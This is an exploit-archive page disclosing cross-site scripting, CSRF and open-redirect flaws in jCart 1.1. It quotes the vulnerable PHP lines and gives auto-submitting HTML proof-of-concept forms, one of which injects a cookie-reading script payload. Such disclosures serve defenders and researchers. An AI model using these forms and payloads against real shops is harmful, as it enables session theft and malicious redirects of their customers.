what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

jCart 1.1 Cross Site Request Forgery / Cross Site Scripting

jCart 1.1 Cross Site Request Forgery / Cross Site Scripting
Posted Oct 1, 2010
Authored by p0deje

jCart version 1.1 suffers from cross site request forgery, cross site scripting and open redirect vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | 37d8fb41ceb0f28568a4e8cc0862efe009e1edaa1362ee88731eee816d27916e

jCart 1.1 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
<!--
Exploit Title: jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities
Date: 25.07.2010
Author: p0deje
Software Link: http://conceptlogic.com/jcart/
Version: <=1.1
Tested on: OS Independent
CVE : --
-->

<!-- 1. Cross-site Scripting -->

<!--
Vulnerable code snippet:
jcart.php
-------------------------
line 251: $item_name = $_POST[$item_name];
...
line 256: $item_added = $this->add_item($item_id, $item_qty, $item_price, $item_name);
-------------------------

User-supplied input for variable $item_name isn't properly escaped.

Proof-of-Concept:
-->
<html>
<form action="http://evil.host/jcart-1.1/jcart/jcart-relay.php" method="POST">
<input name="my-item-id" value="3" type="hidden">
<input name="my-item-qty" value="1" type="hidden">
<input name="my-item-name" value="<script>alert(document.cookie)</script>" type="hidden">
<input name="my-item-price" value="33.25" type="hidden">
<input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
</form>
<script>
document.getElementById('payload').click()
</script>
</html>

<!-- 2. Cross-site Scripting / Open Redirect -->

<!--
Vulnerable code snippet
jcart-gateway.php:
-------------------------
line 41: header('Location: ' . $_POST['jcart_checkout_page']);
-------------------------

User-supplied data is not properly escaped before passing to header() function.

Proof-of-Concept:
-->
<html>
<form action="http://evil.host/jcart-1.1/jcart/jcart-gateway.php" method="POST">
<input name="jcart_checkout_page" value="http://www.google.com" type="hidden">
<input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
</form>
<script>
document.getElementById('payload').click()
</script>
</html>

<!-- 3. Cross-site Request Forgery -->

<!--
All requests of jCart are vulnerable to CSRF.
Proof-of-Concept goes the same as for the first or the second vulnerability.
-->

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close